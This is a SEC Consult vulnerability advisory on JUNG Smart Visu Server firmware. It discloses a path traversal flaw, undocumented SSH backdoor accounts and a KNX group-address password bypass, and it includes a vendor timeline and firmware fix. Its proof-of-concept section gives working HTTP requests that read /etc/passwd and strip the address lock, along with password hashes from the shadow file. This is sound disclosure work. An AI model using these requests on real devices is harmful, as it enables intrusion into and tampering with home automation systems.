JUNG Smart Visu Server 1.0.8x Path Traversal / Backdoor Accounts

`SEC Consult Vulnerability Lab Security Advisory < 20170207-0 >  
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title: Path Traversal, Backdoor accounts & KNX group address  
password bypass  
product: JUNG Smart Visu Server  
vulnerable version: Firmware v1.0.804/1.0.830/1.0.832  
fixed version: Firmware v1.0.900  
CVE number: -  
impact: Critical  
homepage: http://www.jung.de/  
found: 2016-11-10  
by: T. Weber (Office Vienna)  
SEC Consult Vulnerability Lab  
  
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Vendor description:  
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"JUNG provides equipment and systems that win over by advanced technology,  
sophisticated design, and a large variety of features. On the one hand,  
our portfolio includes switches, socket outlets, dimmer, and observers.  
On the other, it includes innovative systems for controlling features in  
your home. From lighting, blind, or temperature control to wireless and  
KNX technologies, door communication, and multimedia control, a large  
range of applications is covered. In addition to comfort and security,  
also the requirements regarding cost-effectiveness and energy efficiency  
are met."  
  
Source:http://www.jung.de/en/1828/company/company-portrait/  
  
  
Business recommendation:  
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Attackers are able to gain root access through SSH with the credentials of  
the backdoor user account. A attacker can also unlock the group address  
protection for the KNX device mapping.  
  
JUNG has provided updated firmware which should be installed immediately.  
  
SEC Consult recommends not to use this product in a production environment  
until a thorough security review has been performed by security professionals  
and all identified issues have been resolved.  
  
  
Vulnerability overview/description:  
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1) Path Traversal Vulnerability  
The Smart Visu Server runs with root privileges and is vulnerable to path  
traversal. This leads to full information disclosure of all files on the  
system.  
  
2) Backdoor Accounts  
Two undocumented operating system user accounts are present on the appliance.  
They can be used to gain access to the Smart Visu Server via SSH.  
  
3) Group Address (GA) unlock without Password  
As protection functionality, the KNX group address can be locked with a  
user-defined password. This password can be removed by using a single PUT  
request. An attacker can completely change the configuration of the connected  
devices (e.g. a light switch in the kitchen can be swapped with the air  
conditioner).  
  
  
Proof of concept:  
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1) Path Traversal Vulnerability  
The Smart Visu Server is vulnerable to path traversal by sending the  
following GET-Request:  
------------------------------------ Request --------------------------------  
GET /SV-Home//..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1  
Host: <IP-Address>  
[...]  
  
----------------------------------- Response --------------------------------  
HTTP/1.1 200 OK  
Content-Disposition: inline;filename="passwd"  
[...]  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
[...]  
-----------------------------------------------------------------------------  
  
2) Backdoor Accounts  
Two undocumented operating system user accounts are present on the appliance.  
They can be used to gain access to Smart Visu Server over SSH on Port 55555.  
  
Excerpt of the shadow file:  
root:$6$Zcv.yVRg$0OfnoSEEWdP4K/2z5Mm/56nfGbdAPl4ZSm3oDWqn3fMD9cXfZCov7O/siheuYggHxuqHvZQ7nPSBM5BcbrH9n.:16840:0:99999:7:::  
daemon:*:15914:0:99999:7:::  
[...]  
avahi:*:16541:0:99999:7:::  
jung:$6$1SblJl3F$q6h6vfSC.IataQSqDNGw0wGvV8m/x8uLozBIj4Yj.ZzMoHbaMvzb2tR.B45I/ajsWpwkTcCNGjSZsLdC9IuzD.:16714:0:99999:7:::  
  
3) Group Address (GA) unlock without Password  
The following PUT request sends a JSON object to the server, which removes the  
password:  
------------------------------------ Request --------------------------------  
PUT /rest/items/knxcom_datastore HTTP/1.1  
Host: <IP-Address>  
[...]  
  
{"groupNames":[],"name":"knxcom_datastore","label":"knxcom_datastore","type":"GroupItem","tags":["{\"lock_ga\":false}"]}  
-----------------------------------------------------------------------------  
  
  
Vulnerable / tested versions:  
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Firmware version 1.0.804, 1.0.830 and 1.0.832 have been tested and found to be  
vulnerable.  
  
  
Vendor contact timeline:  
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2016-11-21: Contacting vendor through [email protected], [email protected]  
2016-12-02: Initial phone call with vendor. Advisory sent as encrypted archive.  
2016-12-16: Call with vendor. Patch will be available in January 2017.  
2017-01-09: Call with vendor. Patch will be approximately available in CW4.  
Release shifted to 2017-01-30.  
2017-01-25: Call with vendor. Patch is stable in version 1.0.900 and will be  
released on 2017-02-07 in CW5. Shifted release of advisory to  
2017-02-07.  
2017-02-07: Public release of advisory  
  
  
Solution:  
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Upgrade to firmware version 1.0.900 which is being provided by JUNG  
through automatic updates.  
  
  
Workaround:  
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None.  
  
  
Advisory URL:  
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https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
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